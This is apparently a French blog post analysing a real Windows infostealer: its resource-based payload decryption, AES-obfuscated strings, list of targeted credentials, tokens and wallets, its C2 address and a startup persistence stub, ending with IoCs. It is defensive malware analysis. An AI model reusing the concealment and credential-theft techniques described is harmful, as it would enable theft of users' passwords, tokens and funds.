Intro

Ça faisait un moment que je n’avais pas vraiment pris le temps de reverse un “vrai” malware from scratch.
Pour éviter de rouiller (et parce que c’est quand même fun), je me suis lancé un petit défi simple : prendre un malware totalement au hasard et voir jusqu’où je pouvais aller dans l’analyse.

Direction MalShare, clic au hasard, téléchargement d’un binaire sans trop savoir ce qui m’attendait. Spoiler : je ne suis pas tombé sur un simple crack foireux, mais sur un stealer assez motivé, avec du vol de mots de passe, des tokens Discord, du chiffrement, et toute la panoplie classique.

Fingerprints

Premières données :

1
2
3
4
5
Fichier:  malware
MD5: f0373657a39b505f247d834f9f82390f
SHA256: d787276563a424bdee4035d346263524a959bce936bb6c0f5424ebd214d9cabe
Taille: 1,570,304 bytes (1.5 MB)
Type: PE32 executable (console) Intel 80386, for MS Windows

Au moment ou cet article est rédigé, ces premieres infos sont déjà référencés (VT, etc).
Cependant, les IOC (notamment les IP contactées), ne correspondent pas totalement à mes découvertes 👀

Premier contact

On lance son tool favori (le meilleur :binja_love: ). Et là :

.text → 200 KB (le code exécutable, normal)
.data → 50 KB (données, ok)
.rsrc → 539 KB WTF?!

539 KB de ressources… Dans un exe console de 1.5 MB… mouais.

Pour rappel, .rsrc c’est censé contenir des trucs légitimes : icônes, dialogues Windows, strings d’interface, ce genre de choses. Typiquement, cela représente quelques KB, rarement plus de 100 KB (hors usines à gaz :D).

Là, on a un demi-méga de données. Et quand on regarde de plus près :pas d’icône structurée, pas de dialogues, pas de strings multilingues… Juste un gros blob binaire avec une entropie bien elevé (7.8/8.0).

On soupsçone un blob “chiffré”.

Strings & Ciphers

Première étape classique : regarder les strings du binaire, on tombe rapidement sur des choses du type :

Jackpot !

1
2
3
4
5
6
"XOR cipher reversed"
"Substitution cipher reversed"
"Transposition cipher reversed"
"Payload decrypted"
"Payload executed successfully"
"Header parsed - headerSize: %d, blockSize: %d, keySize: %d, encryptedSize: %d"

Pas très discret …

On remarque également pas mal de chaînes faisant référence à de l’anti debug, ainsi que les classiques malware (AMSI patch, sandbox detection, etc). C’est assez verbeux, avec des notions de debug log, ils ont du oublier de les enlever…

Bref, avec les xref, on identifie assez facilement la méthode qui va “déchiffrer” quelquechose :

Cette fonction est assez conséquente, plusieurs appels de memcpy/malloc, pas mal de boucles, suggérant qu’il s’agit bien d’une fonction de “déchiffrement”.

En vérifiant où elle est appelée, on identifie une autre fonction assez lourde qui, hasard de dingue, va chercher des data dans les ressources avant d’appeler le déchiffrement…

En résumé et en nettoyant tous les appels pour les patchings AMSI, ETW et compagnie, ça donne un truc comme ça :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
for (lpName = 0x3e8; lpName != 0x2329; lpName++)
{
HRSRC hResInfo = FindResourceA(nullptr, lpName, 0xa);

if (hResInfo != 0)
{
HGLOBAL hResData = LoadResource(nullptr, hResInfo);
int32_t payload_ptr = LockResource(hResData);
uint32_t payload_size = SizeofResource(nullptr, hResInfo);

memmove(buffer, payload_ptr, payload_size);
decrypt_payload(&output_buffer, &input_buffer);

// ... exécuter le payload déchiffré ...
}
}

Clairement, ça crawl les ressources pour en trouver une en particulier, avec des checks sur les tailles de certains champs etc, puis ça déchiffre et exécute, classique.

Déchiffrement

Maintenant, il s’agit de récupérer ce payload, et de le déchiffrer pour comprendre le comportement du malware.
D’après les strings identifiées, ça serait un algo en 3 étapes :

  • Transposition cipher reversed
  • Substitution cipher reversed
  • XOR cipher reversed

Extraction du payload

Dans un premier temps, on tente d’extraire le paylaod. Le dropper va aller chercher dans les ressources du programme (0xa).
A l’aide de la chaine de debug et des checks effectués dans le code, on peut rapidement comprendre la structure :

1
"Header parsed - headerSize: %d, blockSize: %d, keySize: %d, encryptedSize: %d"

On a aussi un check fait sur les ressources fetchées :

1
2
3
4
004062fd                            if (_Size u<= 0x31)
004068f1 GetTempPathA(nBufferLength: 0x104, lpBuffer)
004068f6 enum PAGE_PROTECTION_FLAGS* eax_118 = &var_ae4
00406910 uint32_t j_2

D’après la chaine de debug on en déduit donc qu’un header de la forme suivante est présent:

  • headerSize : entre 8 et 15 bytes (vu dans l’assembleur)
  • blockSize : taille des blocs pour la transposition (probablement 16)
  • keySize : taille de la clé (probablement 32)

La suite semble être clef + data.

On recherche dans la section ressource et on tombe directement sur un blob qui colle plutôt bien (et juste après les structs classiques de ressources) :

On observe par la suite qu’il créer des sorts de databuffer qu’on pourrait définir ainsi :

1
2
3
4
5
6
struct DataBuffer
{
uint8_t* begin;
uint8_t* end;
uint8_t* capacity;
};

On va ensuite suivre les 3 étapes de déchiffrement

Transposition

Ici c’est assez simple, on peut voir qu’il prends les données par blocs de 16 et qu’il les inverse dans un gros buffer, bloc par bloc.
En gros il rempli un nouveau buffer par groupe de 16bytes en inversant l’ordre, par exemple :

1
2
Input:  [00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F] [10 11 12 ...]
Output: [0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00] [1F 1E 1D ...]

Jusqu’ici tout va bien.

Substitution

Là c’est un peu plus vicieux. On a affaire à une sorte de substitution dynamique avec une table de correspondance crée à la volée via une clef.
Concrétement, pour chaque octet à l’index i :

  1. Calculer base = (i + key[i % keySize]) % 256
  2. Construire une table de substitution : table[j] = (base + j) % 256 pour j=0..255
  3. Trouver l’inverse : chercher j tel que table[j] == byte_chiffré
  4. Remplacer le byte par j

C’est plus une obfuscation qu’un chiffrement. Un peu pénible à comprendre, en fait la table de substitution change à chaque itération. En vrai, les messages de débug présents m’ont grandement aidé à mieux comprendre les algos :D

As simple as a XOR

La denière étape consiste simplement en un xor classique en itérant sur le clef de 32bytes.

Let’s decrypt

Si on refait ces 3 étapes, avec le payload extrait, ça donne ça :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def reverse_transposition(data, blockSize):
result = bytearray()
pos = 0

while pos < len(data):
chunk_size = min(blockSize, len(data) - pos)
chunk = data[pos : pos + chunk_size]

# Reverse le chunk
for i in range(len(chunk) - 1, -1, -1):
result.append(chunk[i])

pos += blockSize
return result

def reverse_substitution(data, key):
result = bytearray(data)
keySize = len(key)

for i in range(len(result)):
key_byte = key[i % keySize]
base = (i + key_byte) % 256

sub_table = [(base + j) % 256 for j in range(256)]

# inverse
encrypted_byte = result[i]
for j in range(256):
if sub_table[j] == encrypted_byte:
result[i] = j
break

return result

def reverse_xor(data, key):
result = bytearray()
keySize = len(key)

for i in range(len(data)):
result.append(data[i] ^ key[i % keySize])
return result

On obtient bien un autre binaire !

1
2
ghozt@maze:~/research/malware$ file output.exe 
output.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

.NET stealer

Avec ilspy on récupère le code C# :

1
ghozt@maze:~/research/malware$ ilspycmd output.exe -o ./decompiled_dotnet/

On remarque vite que les strings sont obfusquées. Cependant, nous pouvons analyser le comportement général du stealer. Vol de token discord, déchiffrement du password manager de chrome via DPAPI, …

Pour les chaines, on découvre que tout est chiffré en AES, avec une clef un peu obfusquée :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static class Strings
{
private static readonly string[] Keys = new string[3]
{
"Announcers", // Clé XOR
"FV40ACQFNSomHjU6PAMFBjQ9Hh0MAA1dEDglFTwmcBcNOEFdBj0wAxQoBioWAw8RPBkTXSJfLyAuIUJO", // AES Key (chiffrée)
"JRQsKS8AISskJhhcIwEnBjIMSxgPODw+LzstPCcncVc=" // AES IV (chiffrée)
};

static Strings()
{
// Déchiffrer les clés AES au démarrage
Keys[1] = StringDecrypt.Read(Keys[1], Keys[0]);
Keys[2] = StringDecrypt.Read(Keys[2], Keys[0]);
}

public static string Get(int id)
{
return Decrypt(Convert.FromBase64String(array[id]));
}

private static string Decrypt(byte[] chiperText)
{
using Aes aes = Aes.Create();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;

ICryptoTransform transform = aes.CreateDecryptor(
Convert.FromBase64String(Keys[1]), // AES Key
Convert.FromBase64String(Keys[2]) // AES IV
);

using MemoryStream stream = new MemoryStream(chiperText.Reverse().ToArray());
using CryptoStream cs = new CryptoStream(stream, transform, CryptoStreamMode.Read);
using StreamReader sr = new StreamReader(cs);

return sr.ReadToEnd();
}
}

Il y a 190 strings chiffrées dans le malware. Toutes utilisent AES-CBC, mais avec un twist : le ciphertext est reversed avant le déchiffrement wouhou.
Les clés AES elles-mêmes sont encodées avec XOR + Base64.

En reproduisant l’algorithme, on récupére la clef et l’IV :

Les clés AES sont maintenant correctement déchiffrées :

1
2
AES Key: OFhBENNkSFZaYyg2w6yQi5Mrqn7ypiPXDrim64w/FM0=
AES IV: w0EfpMUF62taB/d5TPeCXQ==

Et on peut ensuite déchiffrer toutes les strings !

Cibles de Vol de Données

Navigateurs :

1
2
3
4
5
6
7
8
Login Data           → Credentials Chrome/Edge/Brave
Web Data → Autofill, cartes de crédit
Cookies → Cookies de session
moz_cookies → Cookies Firefox
logins.json → Credentials Firefox
key3.db / key4.db → Clés de déchiffrement Firefox
Local Storage → Tokens locaux
IndexedDB → Bases de données locales

Messagerie :

1
2
3
discord\Local Storage\leveldb\     → Tokens Discord
Telegram Desktop\tdata\ → Sessions Telegram
https://discord.com/api/v9/users/@me → API Discord

Crypto Wallets :

1
2
3
wallet.dat                         → Bitcoin Core, Litecoin
Coinbase Wallet → Extension Coinbase
MetaMask → Extension MetaMask

VPN :

1
2
3
NordVPN\user.config                → Config NordVPN
ProtonVPN\ → Profils ProtonVPN
OpenVPN Connect\profiles\ → Profils OpenVPN

Gaming & FTP :

1
2
Steam\loginusers.vdf               → Comptes Steam
FileZilla\sitemanager.xml → Serveurs FTP

Et le gros morceau :

1
net.tcp://185.172.128.70:3808

Nous pouvons identifier le C2 sur lequel toutes les données sont transmises, le stealer envoie toutes les données volées à cette adresse en utilisant le protocole WCF (Windows Communication Foundation).

Reconnaissance Système

Le malware collecte aussi plein d’infos système :

1
2
3
4
5
SELECT * FROM Win32_Processor          -- CPU
SELECT * FROM Win32_VideoController -- GPU
SELECT * FROM Win32_DiskDrive -- Disques
SELECT * FROM Win32_OperatingSystem -- OS
SELECT * FROM Win32_Process -- Processus

Et il détecte les produits de sécurité :

1
2
ROOT\SecurityCenter\AntivirusProduct
ROOT\SecurityCenter\FirewallProduct

Vue d’Ensemble

Maintenant qu’on a toutes les strings, on comprend le workflow complet :

Phase 1 : Reconnaissance

  • Collecte des infos système (CPU, GPU, RAM, disques, OS)
  • Détection des produits de sécurité (AV, firewall)
  • Détection VM/sandbox (QEMU, RDP)
  • Liste des processus en cours
  • Liste des logiciels installés
  • Géolocalisation via https://api.ip.sb/ip

Phase 2 : Vol de Données

  • Navigateurs : credentials, cookies, autofill, cartes de crédit
  • Discord : tokens, extraction via LevelDB
  • Telegram : copie du dossier tdata
  • Wallets crypto : recherche de wallet.dat, extensions browser
  • VPN : configs NordVPN, ProtonVPN, OpenVPN
  • FTP : FileZilla credentials
  • Gaming : Steam credentials

Phase 3 : Exfiltration

  • Compression des données volées
  • Connexion au C2 : net.tcp://185.172.128.70:3808
  • Envoi via WCF (protocole binaire)

Persistance

On remarque qu’une chaine chiffrée est en base64, qui une fois décodée correspond à un autre exécutable .NET, qui est écrtit dans le dossier de startup :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Threading;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("qemu-ga")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("qemu-ga")]
[assembly: AssemblyCopyright("Copyright © 2023")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
[assembly: AssemblyVersion("1.0.0.0")]
internal class Program
{
private static void Main(string[] args)
{
while (true)
{
Thread.Sleep(100000);
Console.ReadLine();
}
}
}

Il s’agit probablement d’une backdoor dormante qui permettra dans un second temps de s’attacher à ce processus.

IoCs Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Dropper:
MD5: f0373657a39b505f247d834f9f82390f
SHA256: d787276563a424bdee4035d346263524a959bce936bb6c0f5424ebd214d9cabe

Payload:
MD5: a5f31a46902955162fc83931a0a549e8
SHA256: a0804279a18850ce7af0683da3539c3b74585815fc4ef548576359efc656cf8f

C2:
IP: 185.172.128.70
Port: 3808
Proto: net.tcp://

Clés:
Dropper: 53d04c3483df08e8b3450f4c6cfa9b3d084f819249b14403e63efc9e1a6deb16
AES Key: OFhBENNkSFZaYyg2w6yQi5Mrqn7ypiPXDrim64w/FM0=
AES IV: w0EfpMUF62taB/d5TPeCXQ==
⬆︎TOP